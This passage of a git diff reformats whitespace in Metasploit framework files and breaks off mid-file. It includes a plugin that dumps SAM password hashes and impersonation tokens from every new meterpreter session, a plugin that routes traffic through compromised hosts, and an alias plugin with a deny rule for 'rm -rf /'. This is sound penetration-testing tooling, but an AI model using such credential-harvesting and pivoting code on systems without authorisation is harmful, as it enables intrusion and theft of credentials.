apt_upgrade_available('metasploit') + packages = [] + packages << 'metasploit-framework' if framework_version = apt_upgrade_available('metasploit-framework') + packages << 'metasploit' if pro_version = apt_upgrade_available('metasploit') - if packages.empty? - $stdout.puts "[*] No updates available" - else - $stdout.puts "[*] Updating to version #{pro_version || framework_version}" - system("apt-get", "install", "--assume-yes", *packages) - if packages.include?('metasploit') - start_cmd = File.expand_path(File.join(@msfbase_dir, '..', '..', '..', 'scripts', 'start.sh')) - system(start_cmd) if ::File.executable_real? start_cmd - end - end + if packages.empty? + $stdout.puts "[*] No updates available" + else + $stdout.puts "[*] Updating to version #{pro_version || framework_version}" + system("apt-get", "install", "--assume-yes", *packages) + if packages.include?('metasploit') + start_cmd = File.expand_path(File.join(@msfbase_dir, '..', '..', '..', 'scripts', 'start.sh')) + system(start_cmd) if ::File.executable_real? start_cmd + end + end end unless is_svn || is_git || is_installed || is_apt - raise RuntimeError, "Cannot determine checkout type: `#{@msfbase_dir}'" + raise RuntimeError, "Cannot determine checkout type: `#{@msfbase_dir}'" end maybe_wait_and_exit(0) diff --git a/msfvenom b/msfvenom index 5766ea0f66..daa0d7d3ff 100755 --- a/msfvenom +++ b/msfvenom @@ -3,7 +3,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib'))) diff --git a/plugins/alias.rb b/plugins/alias.rb index a936c79378..aeb141d1f5 100644 --- a/plugins/alias.rb +++ b/plugins/alias.rb @@ -8,339 +8,339 @@ require 'rex/ui/text/table' module Msf class Plugin::Alias < Msf::Plugin - class AliasCommandDispatcher - include Msf::Ui::Console::CommandDispatcher + class AliasCommandDispatcher + include Msf::Ui::Console::CommandDispatcher - attr_reader :aliases - def initialize(driver) - super(driver) - @aliases = {} - end + attr_reader :aliases + def initialize(driver) + super(driver) + @aliases = {} + end - def name - "Alias" - end + def name + "Alias" + end - @@alias_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help banner." ], - "-c" => [ true, "Clear an alias (* to clear all)."], - "-f" => [ true, "Force an alias assignment." ] - ) - # - # Returns the hash of commands supported by this dispatcher. - # - def commands # driver.dispatcher_stack[3].commands - { - "alias" => "create or view an alias." - # "alias_clear" => "clear an alias (or all aliases).", - # "alias_force" => "Force an alias (such as to override)" - }.merge(aliases) # make aliased commands available as commands of their own - end + @@alias_opts = Rex::Parser::Arguments.new( + "-h" => [ false, "Help banner." ], + "-c" => [ true, "Clear an alias (* to clear all)."], + "-f" => [ true, "Force an alias assignment." ] + ) + # + # Returns the hash of commands supported by this dispatcher. + # + def commands # driver.dispatcher_stack[3].commands + { + "alias" => "create or view an alias." + # "alias_clear" => "clear an alias (or all aliases).", + # "alias_force" => "Force an alias (such as to override)" + }.merge(aliases) # make aliased commands available as commands of their own + end - # - # the main alias command handler - # - # usage: alias [options] [name [value]] - def cmd_alias(*args) - # we parse args manually instead of using @@alias.opts.parse to handle special cases - case args.length - when 0 # print the list of current aliases - if @aliases.length == 0 - return print_status("No aliases currently defined") - else - tbl = Rex::Ui::Text::Table.new( - 'Header' => "Current Aliases", - 'Prefix' => "\n", - 'Postfix' => "\n", - 'Columns' => [ '', 'Alias Name', 'Alias Value' ] - ) - # add 'alias' in front of each row so that the output can be copy pasted into an rc file if desired - @aliases.each_pair do |key,val| - tbl << ["alias",key,val] - end - return print(tbl.to_s) - end - when 1 # display the alias if one matches this name (or help) - return cmd_alias_help if args[0] == "-h" or args[0] == "--help" - if @aliases.keys.include?(args[0]) - print_status("\'#{args[0]}\' is aliased to \'#{@aliases[args[0]]}\'") - else - print_status("\'#{args[0]}\' is not currently aliased") - end - else # let's see if we can assign or clear the alias - force = false - clear = false - # if using -f or -c, they must be the first arg, because -f/-c may also show up in the alias - # value so we can't do something like if args.include("-f") or delete_if etc - # we should never have to force and clear simultaneously. - if args[0] == "-f" - force = true - args.shift - elsif args[0] == "-c" - clear = true - args.shift - end - name = args.shift - # alias name can NEVER be certain reserved words like 'alias', add any other reserved words here - # We prevent the user from naming the alias "alias" cuz they could end up unable to clear the aliases, - # for example you 'alias -f set unset and then 'alias -f alias sessions', now you're screwed. The byproduct - # of this is that it prevents you from aliasing 'alias' to 'alias -f' etc, but that's acceptable - reserved_words = [/^alias$/i] - reserved_words.each do |regex| - if name =~ regex - print_error "You cannot use #{name} as the name for an alias, sorry" - return false - end - end + # + # the main alias command handler + # + # usage: alias [options] [name [value]] + def cmd_alias(*args) + # we parse args manually instead of using @@alias.opts.parse to handle special cases + case args.length + when 0 # print the list of current aliases + if @aliases.length == 0 + return print_status("No aliases currently defined") + else + tbl = Rex::Ui::Text::Table.new( + 'Header' => "Current Aliases", + 'Prefix' => "\n", + 'Postfix' => "\n", + 'Columns' => [ '', 'Alias Name', 'Alias Value' ] + ) + # add 'alias' in front of each row so that the output can be copy pasted into an rc file if desired + @aliases.each_pair do |key,val| + tbl << ["alias",key,val] + end + return print(tbl.to_s) + end + when 1 # display the alias if one matches this name (or help) + return cmd_alias_help if args[0] == "-h" or args[0] == "--help" + if @aliases.keys.include?(args[0]) + print_status("\'#{args[0]}\' is aliased to \'#{@aliases[args[0]]}\'") + else + print_status("\'#{args[0]}\' is not currently aliased") + end + else # let's see if we can assign or clear the alias + force = false + clear = false + # if using -f or -c, they must be the first arg, because -f/-c may also show up in the alias + # value so we can't do something like if args.include("-f") or delete_if etc + # we should never have to force and clear simultaneously. + if args[0] == "-f" + force = true + args.shift + elsif args[0] == "-c" + clear = true + args.shift + end + name = args.shift + # alias name can NEVER be certain reserved words like 'alias', add any other reserved words here + # We prevent the user from naming the alias "alias" cuz they could end up unable to clear the aliases, + # for example you 'alias -f set unset and then 'alias -f alias sessions', now you're screwed. The byproduct + # of this is that it prevents you from aliasing 'alias' to 'alias -f' etc, but that's acceptable + reserved_words = [/^alias$/i] + reserved_words.each do |regex| + if name =~ regex + print_error "You cannot use #{name} as the name for an alias, sorry" + return false + end + end - if clear - # clear all aliases if "*" - if name == "*" - @aliases.keys.each do |a| - deregister_alias(a) - end - print_status "Cleared all aliases" - else # clear the named alias if it exists - if @aliases.keys.include?(name) - deregister_alias(name) - print_status "Cleared alias #{name}" - else - print_error("#{name} is not a currently active alias") - end - end - return - end - # smash everything that's left together - value = args.join(" ") - value.strip! - # value can NEVER be certain bad words like 'rm -rf /', add any other reserved words here - # this is basic idiot protection, not meant to be impervious to subversive intentions - reserved_words = [/^rm +(-rf|-r +-f|-f +-r) +\/.*$/] - reserved_words.each do |regex| - if value =~ regex - print_error "You cannot use #{value} as the value for an alias, sorry" - return false - end - end + if clear + # clear all aliases if "*" + if name == "*" + @aliases.keys.each do |a| + deregister_alias(a) + end + print_status "Cleared all aliases" + else # clear the named alias if it exists + if @aliases.keys.include?(name) + deregister_alias(name) + print_status "Cleared alias #{name}" + else + print_error("#{name} is not a currently active alias") + end + end + return + end + # smash everything that's left together + value = args.join(" ") + value.strip! + # value can NEVER be certain bad words like 'rm -rf /', add any other reserved words here + # this is basic idiot protection, not meant to be impervious to subversive intentions + reserved_words = [/^rm +(-rf|-r +-f|-f +-r) +\/.*$/] + reserved_words.each do |regex| + if value =~ regex + print_error "You cannot use #{value} as the value for an alias, sorry" + return false + end + end - is_valid_alias = is_valid_alias?(name,value) - #print_good "Alias validity = #{is_valid_alias.to_s}" - is_sys_cmd = Rex::FileUtils.find_full_path(name) - is_already_alias = @aliases.keys.include?(name) - if is_valid_alias and not is_sys_cmd and not is_already_alias - register_alias(name, value) - elsif force - if not is_valid_alias - print_status "The alias failed validation, but force is set so we allow this. This is often the case" - print_status "when for instance 'exploit' is being overridden but msfconsole is not currently in the" - print_status "exploit context (an exploit is not loaded), or you are overriding a system command" - end - register_alias(name, value) - else - print_error("#{name} already exists as a system command, use -f to force override") if is_sys_cmd - print_error("#{name} is already an alias, use -f to force override") if is_already_alias - if not is_valid_alias and not force - print_error("\'#{name}\' is not a permitted name or \'#{value}\' is not valid/permitted") - print_error("It's possible the responding dispatcher isn't loaded yet, try changing to the proper context or using -f to force") - end - end - end - end + is_valid_alias = is_valid_alias?(name,value) + #print_good "Alias validity = #{is_valid_alias.to_s}" + is_sys_cmd = Rex::FileUtils.find_full_path(name) + is_already_alias = @aliases.keys.include?(name) + if is_valid_alias and not is_sys_cmd and not is_already_alias + register_alias(name, value) + elsif force + if not is_valid_alias + print_status "The alias failed validation, but force is set so we allow this. This is often the case" + print_status "when for instance 'exploit' is being overridden but msfconsole is not currently in the" + print_status "exploit context (an exploit is not loaded), or you are overriding a system command" + end + register_alias(name, value) + else + print_error("#{name} already exists as a system command, use -f to force override") if is_sys_cmd + print_error("#{name} is already an alias, use -f to force override") if is_already_alias + if not is_valid_alias and not force + print_error("\'#{name}\' is not a permitted name or \'#{value}\' is not valid/permitted") + print_error("It's possible the responding dispatcher isn't loaded yet, try changing to the proper context or using -f to force") + end + end + end + end - def cmd_alias_help - print_line "Usage: alias [options] [name [value]]" - print_line - print(@@alias_opts.usage()) - end + def cmd_alias_help + print_line "Usage: alias [options] [name [value]]" + print_line + print(@@alias_opts.usage()) + end - # - # Tab completion for the alias command - # - def cmd_alias_tabs(str, words) - if words.length <= 1 - #puts "1 word or less" - return @@alias_opts.fmt.keys + tab_complete_aliases_and_commands - else - #puts "more than 1 word" - return tab_complete_aliases_and_commands - end - end + # + # Tab completion for the alias command + # + def cmd_alias_tabs(str, words) + if words.length <= 1 + #puts "1 word or less" + return @@alias_opts.fmt.keys + tab_complete_aliases_and_commands + else + #puts "more than 1 word" + return tab_complete_aliases_and_commands + end + end - private - # - # do everything needed to add an alias of +name+ having the value +value+ - # - def register_alias(name, value) - #TODO: begin rescue? - #TODO: security concerns since we are using eval + private + # + # do everything needed to add an alias of +name+ having the value +value+ + # + def register_alias(name, value) + #TODO: begin rescue? + #TODO: security concerns since we are using eval - # define some class instance methods - self.class_eval do - # define a class instance method that will respond for the alias - define_method "cmd_#{name}" do |*args| - # just replace the alias w/the alias' value and run that - driver.run_single("#{value} #{args.join(' ')}") - end - # define a class instance method that will tab complete the aliased command - # we just proxy to the top-level tab complete function and let them handle it - define_method "cmd_#{name}_tabs" do |str, words| - # we need to repair the tab complete string/words and pass back - # replace alias name with the root alias value - value_words = value.split(/[\s\t\n]+/) # in case value is e.g. 'sessions -l' - # valwords is now [sessions,-l] - words[0] = value_words[0] - # words[0] is now 'sessions' (was 'sue') - value_words.shift # valwords is now ['-l'] - # insert any remaining parts of value and rebuild the line - line = words.join(" ") + " " + value_words.join(" ") + " " + str + # define some class instance methods + self.class_eval do + # define a class instance method that will respond for the alias + define_method "cmd_#{name}" do |*args| + # just replace the alias w/the alias' value and run that + driver.run_single("#{value} #{args.join(' ')}") + end + # define a class instance method that will tab complete the aliased command + # we just proxy to the top-level tab complete function and let them handle it + define_method "cmd_#{name}_tabs" do |str, words| + # we need to repair the tab complete string/words and pass back + # replace alias name with the root alias value + value_words = value.split(/[\s\t\n]+/) # in case value is e.g. 'sessions -l' + # valwords is now [sessions,-l] + words[0] = value_words[0] + # words[0] is now 'sessions' (was 'sue') + value_words.shift # valwords is now ['-l'] + # insert any remaining parts of value and rebuild the line + line = words.join(" ") + " " + value_words.join(" ") + " " + str - #print_good "passing (#{line.strip}) back to tab_complete" - # clear current tab_words - driver.tab_words = [] - driver.tab_complete(line.strip) - end - # add a cmd_#{name}_help method - define_method "cmd_#{name}_help" do |*args| - driver.run_single("help #{value}") - end - end - # add the alias to the list - @aliases[name] = value - end + #print_good "passing (#{line.strip}) back to tab_complete" + # clear current tab_words + driver.tab_words = [] + driver.tab_complete(line.strip) + end + # add a cmd_#{name}_help method + define_method "cmd_#{name}_help" do |*args| + driver.run_single("help #{value}") + end + end + # add the alias to the list + @aliases[name] = value + end - # - # do everything required to remove an alias of name +name+ - # - def deregister_alias(name) - self.class_eval do - # remove the class methods we created when the alias was registered - remove_method("cmd_#{name}") - remove_method("cmd_#{name}_tabs") - remove_method("cmd_#{name}_help") - end - # remove the alias from the list of active aliases - @aliases.delete(name) - end + # + # do everything required to remove an alias of name +name+ + # + def deregister_alias(name) + self.class_eval do + # remove the class methods we created when the alias was registered + remove_method("cmd_#{name}") + remove_method("cmd_#{name}_tabs") + remove_method("cmd_#{name}_help") + end + # remove the alias from the list of active aliases + @aliases.delete(name) + end - # - # Validate a proposed alias with the +name+ and having the value +value+ - # - def is_valid_alias?(name,value) - #print_good "Assessing validay for #{name} and #{value}" - # we validate two things, the name and the value + # + # Validate a proposed alias with the +name+ and having the value +value+ + # + def is_valid_alias?(name,value) + #print_good "Assessing validay for #{name} and #{value}" + # we validate two things, the name and the value - ### name - # we don't check if this alias name exists or if it's a console command already etc as -f can override - # that so those need to be checked externally, we pretty much just check to see if the name is sane - name.strip! - bad_words = [/\*/] # add any additional "bad word" regexes here - bad_words.each do |regex| - # don't mess around, just return false in this case, prevents wasted processing - return false if name =~ regex - end + ### name + # we don't check if this alias name exists or if it's a console command already etc as -f can override + # that so those need to be checked externally, we pretty much just check to see if the name is sane + name.strip! + bad_words = [/\*/] # add any additional "bad word" regexes here + bad_words.each do |regex| + # don't mess around, just return false in this case, prevents wasted processing + return false if name =~ regex + end - ### value - # value is considered valid if it's a ref to a valid console cmd, a system executable, or an existing - # alias AND isn't a "bad word" - # Here we check for "bad words" to avoid for the value...value would have to NOT match these regexes - # this is just basic idiot protection - value.strip! - bad_words = [/^msfconsole$/] - bad_words.each do |regex| - # don't mess around, just return false if we match - return false if value =~ regex - end + ### value + # value is considered valid if it's a ref to a valid console cmd, a system executable, or an existing + # alias AND isn't a "bad word" + # Here we check for "bad words" to avoid for the value...value would have to NOT match these regexes + # this is just basic idiot protection + value.strip! + bad_words = [/^msfconsole$/] + bad_words.each do |regex| + # don't mess around, just return false if we match + return false if value =~ regex + end - # we're only gonna validate the first part of the cmd, e.g. just ls from "ls -lh" - value = value.split(" ").first - if @aliases.keys.include?(value) - return true - else - [value, value+".exe"].each do |cmd| - if Rex::FileUtils.find_full_path(cmd) - return true - end - end - end + # we're only gonna validate the first part of the cmd, e.g. just ls from "ls -lh" + value = value.split(" ").first + if @aliases.keys.include?(value) + return true + else + [value, value+".exe"].each do |cmd| + if Rex::FileUtils.find_full_path(cmd) + return true + end + end + end - # gather all the current commands the driver's dispatcher's have & check 'em - driver.dispatcher_stack.each do |dispatcher| - next unless dispatcher.respond_to?(:commands) - next if (dispatcher.commands.nil?) - next if (dispatcher.commands.length == 0) + # gather all the current commands the driver's dispatcher's have & check 'em + driver.dispatcher_stack.each do |dispatcher| + next unless dispatcher.respond_to?(:commands) + next if (dispatcher.commands.nil?) + next if (dispatcher.commands.length == 0) - if dispatcher.respond_to?("cmd_#{value.split(" ").first}") - #print_status "Dispatcher (#{dispatcher.name}) responds to cmd_#{value.split(" ").first}" - return true - else - #print_status "Dispatcher (#{dispatcher.name}) does not respond to cmd_#{value.split(" ").first}" - end - end + if dispatcher.respond_to?("cmd_#{value.split(" ").first}") + #print_status "Dispatcher (#{dispatcher.name}) responds to cmd_#{value.split(" ").first}" + return true + else + #print_status "Dispatcher (#{dispatcher.name}) does not respond to cmd_#{value.split(" ").first}" + end + end - return false - end + return false + end - # - # Provide tab completion list for aliases and commands - # - def tab_complete_aliases_and_commands - items = [] - # gather all the current commands the driver's dispatcher's have - driver.dispatcher_stack.each do |dispatcher| - next unless dispatcher.respond_to?(:commands) - next if (dispatcher.commands.nil? or dispatcher.commands.length == 0) - items << dispatcher.commands.keys - end - # add all the current aliases to the list - items.concat(@aliases.keys) - return items - end + # + # Provide tab completion list for aliases and commands + # + def tab_complete_aliases_and_commands + items = [] + # gather all the current commands the driver's dispatcher's have + driver.dispatcher_stack.each do |dispatcher| + next unless dispatcher.respond_to?(:commands) + next if (dispatcher.commands.nil? or dispatcher.commands.length == 0) + items << dispatcher.commands.keys + end + # add all the current aliases to the list + items.concat(@aliases.keys) + return items + end - end # end AliasCommandDispatcher class + end # end AliasCommandDispatcher class - # - # The constructor is called when an instance of the plugin is created. The - # framework instance that the plugin is being associated with is passed in - # the framework parameter. Plugins should call the parent constructor when - # inheriting from Msf::Plugin to ensure that the framework attribute on - # their instance gets set. - # - def initialize(framework, opts) - super + # + # The constructor is called when an instance of the plugin is created. The + # framework instance that the plugin is being associated with is passed in + # the framework parameter. Plugins should call the parent constructor when + # inheriting from Msf::Plugin to ensure that the framework attribute on + # their instance gets set. + # + def initialize(framework, opts) + super - ## Register the commands above - add_console_dispatcher(AliasCommandDispatcher) - end + ## Register the commands above + add_console_dispatcher(AliasCommandDispatcher) + end - # - # The cleanup routine for plugins gives them a chance to undo any actions - # they may have done to the framework. For instance, if a console - # dispatcher was added, then it should be removed in the cleanup routine. - # - def cleanup - # If we had previously registered a console dispatcher with the console, - # deregister it now. - remove_console_dispatcher('Alias') + # + # The cleanup routine for plugins gives them a chance to undo any actions + # they may have done to the framework. For instance, if a console + # dispatcher was added, then it should be removed in the cleanup routine. + # + def cleanup + # If we had previously registered a console dispatcher with the console, + # deregister it now. + remove_console_dispatcher('Alias') - # we don't need to remove class methods we added because they were added to - # AliasCommandDispatcher class - end + # we don't need to remove class methods we added because they were added to + # AliasCommandDispatcher class + end - # - # This method returns a short, friendly name for the plugin. - # - def name - "alias" - end + # + # This method returns a short, friendly name for the plugin. + # + def name + "alias" + end - # - # This method returns a brief description of the plugin. It should be no - # more than 60 characters, but there are no hard limits. - # - def desc - "Adds the ability to alias console commands" - end + # + # This method returns a brief description of the plugin. It should be no + # more than 60 characters, but there are no hard limits. + # + def desc + "Adds the ability to alias console commands" + end end ## End Plugin Class end ## End Module diff --git a/plugins/auto_add_route.rb b/plugins/auto_add_route.rb index 7ff136a802..b57c3762ed 100644 --- a/plugins/auto_add_route.rb +++ b/plugins/auto_add_route.rb @@ -5,37 +5,37 @@ module Msf class Plugin::AutoAddRoute < Msf::Plugin - include Msf::SessionEvent - def name; 'auto_add_route'; end + include Msf::SessionEvent + def name; 'auto_add_route'; end - def desc - "Adds routes for any new subnets whenever a session opens" - end + def desc + "Adds routes for any new subnets whenever a session opens" + end - def on_session_open(session) - return if not session.type == 'meterpreter' - session.load_stdapi - sb = Rex::Socket::SwitchBoard.instance - session.net.config.each_route { |route| - # Remove multicast and loopback interfaces - next if route.subnet =~ /^(224\.|127\.)/ - next if route.subnet == '0.0.0.0' - next if route.netmask == '255.255.255.255' - if not sb.route_exists?(route.subnet, route.netmask) - print_status("AutoAddRoute: Routing new subnet #{route.subnet}/#{route.netmask} through session #{session.sid}") - sb.add_route(route.subnet, route.netmask, session) - end - } - end + def on_session_open(session) + return if not session.type == 'meterpreter' + session.load_stdapi + sb = Rex::Socket::SwitchBoard.instance + session.net.config.each_route { |route| + # Remove multicast and loopback interfaces + next if route.subnet =~ /^(224\.|127\.)/ + next if route.subnet == '0.0.0.0' + next if route.netmask == '255.255.255.255' + if not sb.route_exists?(route.subnet, route.netmask) + print_status("AutoAddRoute: Routing new subnet #{route.subnet}/#{route.netmask} through session #{session.sid}") + sb.add_route(route.subnet, route.netmask, session) + end + } + end - def initialize(framework, opts) - super - self.framework.events.add_session_subscriber(self) - end + def initialize(framework, opts) + super + self.framework.events.add_session_subscriber(self) + end - def cleanup - self.framework.events.remove_session_subscriber(self) - end + def cleanup + self.framework.events.remove_session_subscriber(self) + end end end diff --git a/plugins/db_credcollect.rb b/plugins/db_credcollect.rb index 6c23c5e613..4e6b9663f7 100644 --- a/plugins/db_credcollect.rb +++ b/plugins/db_credcollect.rb @@ -9,109 +9,109 @@ module Msf class Plugin::CredCollect < Msf::Plugin - include Msf::SessionEvent + include Msf::SessionEvent - class CredCollectCommandDispatcher - include Msf::Ui::Console::CommandDispatcher + class CredCollectCommandDispatcher + include Msf::Ui::Console::CommandDispatcher - def name - "credcollect" - end + def name + "credcollect" + end - def commands - { - "db_hashes" => "Dumps hashes (deprecated: use 'creds -s smb')", - "db_tokens" => "Dumps tokens (deprecated: use 'notes -t smb_token')" - } - end + def commands + { + "db_hashes" => "Dumps hashes (deprecated: use 'creds -s smb')", + "db_tokens" => "Dumps tokens (deprecated: use 'notes -t smb_token')" + } + end - def cmd_db_hashes() - print_error "" - print_error "db_hashes is deprecated. Use 'creds -s smb' instead." - print_error "" - end + def cmd_db_hashes() + print_error "" + print_error "db_hashes is deprecated. Use 'creds -s smb' instead." + print_error "" + end - def cmd_db_tokens() - print_error "" - print_error "db_tokens is deprecated. Use 'notes -t smb_token' instead." - print_error "" - end + def cmd_db_tokens() + print_error "" + print_error "db_tokens is deprecated. Use 'notes -t smb_token' instead." + print_error "" + end - end + end - def on_session_open(session) + def on_session_open(session) - return if not self.framework.db.active + return if not self.framework.db.active - print_status("This is CredCollect, I have the conn!") + print_status("This is CredCollect, I have the conn!") - if (session.type == "meterpreter") + if (session.type == "meterpreter") - # Make sure we're rockin Priv and Incognito - session.core.use("priv") - session.core.use("incognito") + # Make sure we're rockin Priv and Incognito + session.core.use("priv") + session.core.use("incognito") - # It wasn't me mom! Stinko did it! - hashes = session.priv.sam_hashes + # It wasn't me mom! Stinko did it! + hashes = session.priv.sam_hashes - # Target infos for the db record - addr = session.sock.peerhost - # This ought to read from the exploit's datastore. - # Use the meterpreter script if you need to control it. - smb_port = 445 + # Target infos for the db record + addr = session.sock.peerhost + # This ought to read from the exploit's datastore. + # Use the meterpreter script if you need to control it. + smb_port = 445 - # Record hashes to the running db instance - hashes.each do |hash| - data = {} - data[:host] = addr - data[:port] = smb_port - data[:sname] = 'smb' - data[:user] = hash.user_name - data[:pass] = hash.lanman + ":" + hash.ntlm - data[:type] = "smb_hash" - data[:active] = true + # Record hashes to the running db instance + hashes.each do |hash| + data = {} + data[:host] = addr + data[:port] = smb_port + data[:sname] = 'smb' + data[:user] = hash.user_name + data[:pass] = hash.lanman + ":" + hash.ntlm + data[:type] = "smb_hash" + data[:active] = true - self.framework.db.report_auth_info(data) - end + self.framework.db.report_auth_info(data) + end - # Record user tokens - tokens = session.incognito.incognito_list_tokens(0).values - # Meh, tokens come to us as a formatted string - tokens = tokens.join.strip!.split("\n") + # Record user tokens + tokens = session.incognito.incognito_list_tokens(0).values + # Meh, tokens come to us as a formatted string + tokens = tokens.join.strip!.split("\n") - tokens.each do |token| - data = {} - data[:host] = addr - data[:type] = 'smb_token' - data[:data] = token - data[:update] = :unique_data + tokens.each do |token| + data = {} + data[:host] = addr + data[:type] = 'smb_token' + data[:data] = token + data[:update] = :unique_data - self.framework.db.report_note(data) - end - end - end + self.framework.db.report_note(data) + end + end + end - def on_session_close(session,reason='') - end + def on_session_close(session,reason='') + end - def initialize(framework, opts) - super - self.framework.events.add_session_subscriber(self) - add_console_dispatcher(CredCollectCommandDispatcher) - end + def initialize(framework, opts) + super + self.framework.events.add_session_subscriber(self) + add_console_dispatcher(CredCollectCommandDispatcher) + end - def cleanup - self.framework.events.remove_session_subscriber(self) - remove_console_dispatcher('credcollect') - end + def cleanup + self.framework.events.remove_session_subscriber(self) + remove_console_dispatcher('credcollect') + end - def name - "db_credcollect" - end + def name + "db_credcollect" + end - def desc - "Automatically grabs hashes and tokens from meterpreter session events and stores them in the db" - end + def desc + "Automatically grabs hashes and tokens from meterpreter session events and stores them in the db" + end end end diff --git a/plugins/db_tracker.rb b/plugins/db_tracker.rb index d36239f767..5708a67466 100644 --- a/plugins/db_tracker.rb +++ b/plugins/db_tracker.rb @@ -14,62 +14,62 @@ module Msf class Plugin::DB_Tracer < Msf::Plugin - ### - # - # This class implements a socket communication tracker - # - ### - class DBTracerEventHandler - include Rex::Socket::Comm::Events + ### + # + # This class implements a socket communication tracker + # + ### + class DBTracerEventHandler + include Rex::Socket::Comm::Events - def on_before_socket_create(comm, param) - end + def on_before_socket_create(comm, param) + end - def on_socket_created(comm, sock, param) - # Ignore local listening sockets - return if not sock.peerhost + def on_socket_created(comm, sock, param) + # Ignore local listening sockets + return if not sock.peerhost - if (sock.peerhost != '0.0.0.0' and sock.peerport) + if (sock.peerhost != '0.0.0.0' and sock.peerport) - # Ignore sockets that didn't set up their context - # to hold the framework in 'Msf' - return if not param.context['Msf'] + # Ignore sockets that didn't set up their context + # to hold the framework in 'Msf' + return if not param.context['Msf'] - host = param.context['Msf'].db.find_or_create_host(:host => sock.peerhost, :state => Msf::HostState::Alive) - return if not host + host = param.context['Msf'].db.find_or_create_host(:host => sock.peerhost, :state => Msf::HostState::Alive) + return if not host - param.context['Msf'].db.report_service(:host => host, :proto => param.proto, :port => sock.peerport) - end - end - end + param.context['Msf'].db.report_service(:host => host, :proto => param.proto, :port => sock.peerport) + end + end + end - def initialize(framework, opts) - super + def initialize(framework, opts) + super - if(not framework.db.active) - raise PluginLoadError.new("The database backend has not been initialized") - end - framework.plugins.each { |plugin| - if (plugin.class == Msf::Plugin::DB_Tracer) - raise PluginLoadError.new("This plugin should not be loaded more than once") - end - } + if(not framework.db.active) + raise PluginLoadError.new("The database backend has not been initialized") + end + framework.plugins.each { |plugin| + if (plugin.class == Msf::Plugin::DB_Tracer) + raise PluginLoadError.new("This plugin should not be loaded more than once") + end + } - @eh = DBTracerEventHandler.new - Rex::Socket::Comm::Local.register_event_handler(@eh) - end + @eh = DBTracerEventHandler.new + Rex::Socket::Comm::Local.register_event_handler(@eh) + end - def cleanup - Rex::Socket::Comm::Local.deregister_event_handler(@eh) - end + def cleanup + Rex::Socket::Comm::Local.deregister_event_handler(@eh) + end - def name - "db_tracker" - end + def name + "db_tracker" + end - def desc - "Monitors socket calls and updates the database backend" - end + def desc + "Monitors socket calls and updates the database backend" + end end end diff --git a/plugins/editor.rb b/plugins/editor.rb index c084041445..f460d86c59 100644 --- a/plugins/editor.rb +++ b/plugins/editor.rb @@ -12,74 +12,74 @@ module Msf ### class Plugin::Editor < Msf::Plugin - ### - # - # This class implements a single edit command. - # - ### - class EditorCommandDispatcher - include Msf::Ui::Console::ModuleCommandDispatcher + ### + # + # This class implements a single edit command. + # + ### + class EditorCommandDispatcher + include Msf::Ui::Console::ModuleCommandDispatcher - # - # The dispatcher's name. - # - def name - "Editor" - end + # + # The dispatcher's name. + # + def name + "Editor" + end - # - # Returns the hash of commands supported by this dispatcher. - # - def commands - # Don't update super here since we don't want the commands from - # super, just the methods - { - "edit" => "A handy editor commmand" - } - end + # + # Returns the hash of commands supported by this dispatcher. + # + def commands + # Don't update super here since we don't want the commands from + # super, just the methods + { + "edit" => "A handy editor commmand" + } + end - # - # This method handles the edit command. - # - def cmd_edit(*args) - print_line("Launching editor...") + # + # This method handles the edit command. + # + def cmd_edit(*args) + print_line("Launching editor...") - e = Rex::Compat.getenv("EDITOR") || "vi" + e = Rex::Compat.getenv("EDITOR") || "vi" - if (not mod) or (not (path = mod.file_path)) - print_line("Error: No active module selected") - return nil - end + if (not mod) or (not (path = mod.file_path)) + print_line("Error: No active module selected") + return nil + end - ret = system(e, path) - if not ret - print_line("Failed to execute your editor (#{e})") - return - end + ret = system(e, path) + if not ret + print_line("Failed to execute your editor (#{e})") + return + end - reload - ret - end - end + reload + ret + end + end - def initialize(framework, opts) - super + def initialize(framework, opts) + super - # console dispatcher commands. - add_console_dispatcher(EditorCommandDispatcher) - end + # console dispatcher commands. + add_console_dispatcher(EditorCommandDispatcher) + end - def cleanup - remove_console_dispatcher('Editor') - end + def cleanup + remove_console_dispatcher('Editor') + end - def name - "editor" - end + def name + "editor" + end - def desc - "Simple Editor Plugin" - end + def desc + "Simple Editor Plugin" + end protected end diff --git a/plugins/event_tester.rb b/plugins/event_tester.rb index df8c0beb4a..3b7d2afc33 100644 --- a/plugins/event_tester.rb +++ b/plugins/event_tester.rb @@ -6,34 +6,34 @@ module Msf class Plugin::EventTester < Msf::Plugin - class Subscriber - def respond_to?(name) - # Why yes, I can do that. - true - end - def method_missing(name, *args) - $stdout.puts("Event fired: #{name}(#{args.join(", ")})") - end - end + class Subscriber + def respond_to?(name) + # Why yes, I can do that. + true + end + def method_missing(name, *args) + $stdout.puts("Event fired: #{name}(#{args.join(", ")})") + end + end - def name; "event_tester"; end + def name; "event_tester"; end - def initialize(framework, opts) - super - @subscriber = Subscriber.new - framework.events.add_exploit_subscriber(@subscriber) - framework.events.add_session_subscriber(@subscriber) - framework.events.add_general_subscriber(@subscriber) - framework.events.add_db_subscriber(@subscriber) - framework.events.add_ui_subscriber(@subscriber) - end - def cleanup - framework.events.remove_exploit_subscriber(@subscriber) - framework.events.remove_session_subscriber(@subscriber) - framework.events.remove_general_subscriber(@subscriber) - framework.events.remove_db_subscriber(@subscriber) - framework.events.remove_ui_subscriber(@subscriber) - end + def initialize(framework, opts) + super + @subscriber = Subscriber.new + framework.events.add_exploit_subscriber(@subscriber) + framework.events.add_session_subscriber(@subscriber) + framework.events.add_general_subscriber(@subscriber) + framework.events.add_db_subscriber(@subscriber) + framework.events.add_ui_subscriber(@subscriber) + end + def cleanup + framework.events.remove_exploit_subscriber(@subscriber) + framework.events.remove_session_subscriber(@subscriber) + framework.events.remove_general_subscriber(@subscriber) + framework.events.remove_db_subscriber(@subscriber) + framework.events.remove_ui_subscriber(@subscriber) + end end end diff --git a/plugins/ffautoregen.rb b/plugins/ffautoregen.rb index c940f41cdf..9125e6ff73 100644 --- a/plugins/ffautoregen.rb +++ b/plugins/ffautoregen.rb @@ -12,95 +12,95 @@ module Msf ### class Plugin::FFAutoRegen < Msf::Plugin - ### - # - # This class implements a single edit command. - # - ### - class FFAutoRegenCommandDispatcher - include Msf::Ui::Console::CommandDispatcher + ### + # + # This class implements a single edit command. + # + ### + class FFAutoRegenCommandDispatcher + include Msf::Ui::Console::CommandDispatcher - # - # The dispatcher's name. - # - def name - 